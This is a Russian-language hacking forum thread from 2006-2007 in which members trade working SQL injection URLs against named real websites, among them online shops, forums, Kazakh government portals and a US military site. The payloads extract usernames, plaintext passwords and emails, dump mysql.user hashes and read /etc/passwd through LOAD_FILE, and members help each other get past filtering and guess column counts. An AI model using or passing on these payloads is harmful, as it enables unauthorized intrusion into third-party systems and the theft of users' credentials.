SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,313
    Likes Received:
    639
    Reputations:
    817
    _http://www.bis-el.kiev.ua/start.php?parent_id=0&part_id=1&article_id=230+union+select+2,2,3,4,concat(login,char(58),passwd,char(58),email),6,0x46726f6d205b2063617368205d2077697468206c6f7665,8,9,10,11+from+users/*
    логин:пасс:маил
     
    2 people like this.
  2. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    184
    Likes Received:
    43
    Reputations:
    53
    Блин тупой пост, сори
     
    #182 Termin@L, 26 Dec 2006
    Last edited: 26 Dec 2006
  3. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    184
    Likes Received:
    43
    Reputations:
    53
    Чайку? Ссылка уже была, просто немного её откорректировал))
    _http://www.chayclub.ru/index.php?page=63&id=21+union+select+1,2,3,4,5,6,concat(login,char(58),password,char(58),email),8+from+users/*

    ------------------------------------------------------------------------
    Продолжая перерабатывать ссылки данные здесь:
    Вот вам продукт беспечности онлайн магазина, все пароли без хеша, всё открыто)))
    http://www.esparto.co.uk/product.php?id=-454+UNION+SELECT+1,2,3,4,concat(email,char(58),password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+account+limit+2,3/*
     
    #183 Termin@L, 26 Dec 2006
    Last edited: 27 Dec 2006
    2 people like this.
  4. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    http://www.owebmoney.ru/oborona/forum_view.php?sub_id= -1+union+select+concat(email,char(58)),1+from+emails/*

    http://www.ehouseholding.ru/?part=4&clause=-1+union+select+1,VERSION(),DATABASE(),4,5,6,USER()/*
     
    #184 *D1VER, 27 Dec 2006
    Last edited: 27 Dec 2006
    1 person likes this.
  5. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    803
    Likes Received:
    710
    Reputations:
    301
    http://www.filmplus.ru/?act=full%20story&movie%20id=34'
     
    1 person likes this.
  6. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    184
    Likes Received:
    43
    Reputations:
    53

    Только один нюанс таблица name - имя человека, а не логин.
    Сам логин вроде хранится в столбце username.

    http://lenta.auctyon.ru/photo/view.php?id=64')+union+select+1,2,3,4,5,6,7,8,9,10,11,12,12,14,15,16,17,18/*
    отсюда можно что-нибудь путное вытащить?

    Вот ещё пароли от форума и т.д.
    http://www.spbclub.ru/forum2/index.php?topic_id=-1+union+select+concat(login,char(58),password,char(32,32,32,32,72,105,32,102,114,111,109,32,84,101,114,109,105,110,64,76)),2+from+users+limit+1,2/*
    Помогите подобрать столбцы я блин до 60 набрал, ни фига
    http://www.tour-info.ru/news/jvs_news.html?num=-1
     
    #186 Termin@L, 28 Dec 2006
    Last edited: 28 Dec 2006
  7. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    625
    Likes Received:
    284
    Reputations:
    51
    http://dist.1c.ru/page.jsp?t=1&Attr=4&Year=2004'+union+SELECT+1,TABLE_NAME,1+FROM+INFORM%20ATION_SCHEMA.TABLES--
     
  8. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    147
    Likes Received:
    83
    Reputations:
    -4
    http://www.scangirls.net/foto_pr.php?id=-251%20union%20select%201,2,3,4,5,6,7,8/*--
    таблицу подобрать не смог
     
  9. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    147
    Likes Received:
    83
    Reputations:
    -4
    точно такойже сайт
    http://www.eyla.net/foto_pr.php?id=-251%20union%20select%201,2,3,4,5,6,7,8/*--
    видимо таблицы там одинаковые
     
  10. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    184
    Likes Received:
    43
    Reputations:
    53
    Я не врубился, почему, когда я пытаюсь набрать Database(),http://www.scangirls.net/foto_pr.php?id=-251%20union%20select%201,2,3,4,5,6,7,8/*
    меня обламывает и не показывает? Фильтрация?
     
    #190 Termin@L, 29 Dec 2006
    Last edited: 29 Dec 2006
  11. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,313
    Likes Received:
    639
    Reputations:
    817
    http://www.scangirls.net/foto_pr.php?id=-251%20union%20select%201,2,3,4,AES_DECRYPT(AES_ENCRYPT(DATABASE(),0x71),0x71),6,7,8/*
     
  12. Slon

    Slon Elder - Старейшина

    Joined:
    9 Dec 2005
    Messages:
    123
    Likes Received:
    21
    Reputations:
    3
    http://www.auzr.kz/index.php?n=76-1
    http://www.mit.kz/index.php?p=rofl&id_mm=3&act=2-1
    http://www.sana.gov.kz/showarticle.php?lang=rus&id=-2 UNION SELECT 1,2,3,4,5,6,7,8/*
    http://www.minagri.kz/news.jsp?param=rus&type=notices&noticeId=2725-1
    http://www.zhambyl.kz/main.php?action=news&full=2&lan=eng&text_type=-1%20UNION%20SELECT%201,2,3,ascii(substring(password,1,1)),5,6,7,8,9+from+mysql.user/*

    :p
     
  13. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    625
    Likes Received:
    284
    Reputations:
    51
    http://www.politeh.info/polls.php?id=7'+union+select+*+from+users/*

    2 blaga :)
     
  14. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    135
    Likes Received:
    134
    Reputations:
    91
    Sql-injection как способ поздравить с НГ

    Вот от меня пару поздравлений в виде скулей

    [screen]
    [screen]

    _http://gaga.phpnet.us/toolz/chr.php
    P.S. форум вставляет пробелы
     
    #194 Goudini, 30 Dec 2006
    Last edited: 30 Dec 2006
    5 people like this.
  15. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    184
    Likes Received:
    43
    Reputations:
    53
    Спасибо, тебя тожеhttp://www.pharm-system.com/index.phtml?page=news&id=-1+union+select+null,concat(nickname,char(58),password,char(32,32,32,32,209,239,224,241,232,225,238,33,32,32,71,111,117,100,105,110,105)),null,null,null,null,null,null+from+users+limit+1,2/*
     
  16. Ded.MCz

    Ded.MCz Member

    Joined:
    16 Jan 2006
    Messages:
    23
    Likes Received:
    19
    Reputations:
    36
    sec.ru

    delete.
     
    #196 Ded.MCz, 30 Dec 2006
    Last edited: 18 Nov 2012
    1 person likes this.
  17. rem

    rem New Member

    Joined:
    9 Nov 2006
    Messages:
    24
    Likes Received:
    4
    Reputations:
    1
    Blink: http://www.usfk.mil/USFK/contents/viewNews.asp?id=418'
     
  18. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    476
    Likes Received:
    382
    Reputations:
    490
    http://top.ucoz.info/ucozCounter.php5?id=-99+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,123456,15,16,17,18/*
    ucoz ;)
     
  19. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    476
    Likes Received:
    382
    Reputations:
    490
    http://www.freetime.com.ua/1891/?raz=-99+union+select+1,2,concat(username,':',user_password),4,5+from+forum.phpbb_users+where+user_icq%3E11111%20and%20user_icq%3C99999999/*

    http://www.freetime.com.ua/1891/?raz=-99+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4,5/*

    http://www.freetime.com.ua/1891/?raz=-99+union+select+1,2,concat(user,0x3a,password),4,5+from+mysql.user/*

    (mysql root прилагается)
    Юзайте на здоровье ;)
     
    1 person likes this.
  20. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    184
    Likes Received:
    43
    Reputations:
    53
    Это список всех колонок базы данных с
    _http://www.goverla-tour.com.ua, но я не могу найти там
    данные о пользователях, регистрация на сайте есть точно, посмотрите кому не лень, а то я запарился...

    _http://www.goverla-tour.com.ua/country.php?countr_id=14+UNION+SELECT+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*

    P.S. Похоже автоизация не работает, но можетчего полезное можно вытащить?

    Code:
                   :: CHARACTER_SET_NAME
    :: DEFAULT_COLLATE_NAME
    :: DESCRIPTION
    :: MAXLEN
    :: COLLATION_NAME
    :: ID
    :: IS_DEFAULT
    :: IS_COMPILED
    :: SORTLEN
    :: TABLE_CATALOG
    :: TABLE_SCHEMA
    :: TABLE_NAME
    :: COLUMN_NAME
    :: ORDINAL_POSITION
    :: COLUMN_DEFAULT
    :: IS_NULLABLE
    :: DATA_TYPE
    :: CHARACTER_MAXIMUM_LENGTH
    :: CHARACTER_OCTET_LENGTH
    :: NUMERIC_PRECISION
    :: NUMERIC_SCALE
    :: COLUMN_TYPE
    :: COLUMN_KEY
    :: EXTRA
    :: PRIVILEGES
    :: COLUMN_COMMENT
    :: GRANTEE
    :: PRIVILEGE_TYPE
    :: IS_GRANTABLE
    :: CONSTRAINT_CATALOG
    :: CONSTRAINT_SCHEMA
    :: CONSTRAINT_NAME
    :: POSITION_IN_UNIQUE_CONSTRAINT
    :: REFERENCED_TABLE_SCHEMA
    :: REFERENCED_TABLE_NAME
    :: REFERENCED_COLUMN_NAME
    :: SPECIFIC_NAME
    :: ROUTINE_CATALOG
    :: ROUTINE_SCHEMA
    :: ROUTINE_NAME
    :: ROUTINE_TYPE
    :: DTD_IDENTIFIER
    :: ROUTINE_BODY
    :: ROUTINE_DEFINITION
    :: EXTERNAL_NAME
    :: EXTERNAL_LANGUAGE
    :: PARAMETER_STYLE
    :: IS_DETERMINISTIC
    :: SQL_DATA_ACCESS
    :: SQL_PATH
    :: SECURITY_TYPE
    :: CREATED
    :: LAST_ALTERED
    :: SQL_MODE
    :: ROUTINE_COMMENT
    :: DEFINER
    :: CATALOG_NAME
    :: SCHEMA_NAME
    :: DEFAULT_CHARACTER_SET_NAME
    :: DEFAULT_COLLATION_NAME
    :: NON_UNIQUE
    :: INDEX_SCHEMA
    :: INDEX_NAME
    :: SEQ_IN_INDEX
    :: COLLATION
    :: CARDINALITY
    :: SUB_PART
    :: PACKED
    :: NULLABLE
    :: INDEX_TYPE
    :: COMMENT
    :: TABLE_TYPE
    :: ENGINE
    :: VERSION
    :: ROW_FORMAT
    :: TABLE_ROWS
    :: AVG_ROW_LENGTH
    :: DATA_LENGTH
    :: MAX_DATA_LENGTH
    :: INDEX_LENGTH
    :: DATA_FREE
    :: AUTO_INCREMENT
    :: CREATE_TIME
    :: UPDATE_TIME
    :: CHECK_TIME
    :: TABLE_COLLATION
    :: CHECKSUM
    :: CREATE_OPTIONS
    :: TABLE_COMMENT
    :: CONSTRAINT_TYPE
    :: TRIGGER_CATALOG
    :: TRIGGER_SCHEMA
    :: TRIGGER_NAME
    :: EVENT_MANIPULATION
    :: EVENT_OBJECT_CATALOG
    :: EVENT_OBJECT_SCHEMA
    :: EVENT_OBJECT_TABLE
    :: ACTION_ORDER
    :: ACTION_CONDITION
    :: ACTION_STATEMENT
    :: ACTION_ORIENTATION
    :: ACTION_TIMING
    :: ACTION_REFERENCE_OLD_TABLE
    :: ACTION_REFERENCE_NEW_TABLE
    :: ACTION_REFERENCE_OLD_ROW
    :: ACTION_REFERENCE_NEW_ROW
    :: VIEW_DEFINITION
    :: CHECK_OPTION
    :: IS_UPDATABLE
    :: app_id
    :: countr_id
    :: curort_id
    :: app_name
    :: app_plase
    :: app_in
    :: app_beach
    :: app_razvl
    :: app_teritory
    :: app_img_num
    :: app_img_ot
    :: app_img_beach
    :: tur_id
    :: tur_name
    :: tur_date
    :: tur_path
    :: tur_cntr_id
    :: countr_name
    :: full_name
    :: naselen
    :: area
    :: klimat
    :: religy
    :: time
    :: jazik
    :: valuta
    :: viza
    :: customs
    :: hotel
    :: call_phone
    :: auto
    :: transport
    :: medicin
    :: osobennosti
    :: big_img_file
    :: click
    :: curort_name
    :: curort_txt
    :: curort_txt1
    :: curort_txt2
    :: curort_img1
    :: curort_img2
    :: curort_img_3 _ о курорте
    :: dict_id
    :: substr
    :: text
    :: email_id
    :: e_mail
    :: date
    :: eks_id
    :: eks_name
    :: eks_data
    :: eks_path
    :: eks_cntr_id
    :: hot_id
    :: hot_name
    :: hot_date
    :: hot_path
    :: hot_cntr_id
    :: id_img
    :: path
    :: flag
    :: news_id
    :: news_name
    :: news_txt
    :: news_img
    :: file
    :: file_name
    :: part_id
    :: part_name
    :: part_patch
    :: part_img
    :: termin_id
    :: term_name
    :: term_opi
    
     
    #200 Termin@L, 2 Jan 2007
    Last edited: 2 Jan 2007
    1 person likes this.
Loading...
Thread Status:
Not open for further replies.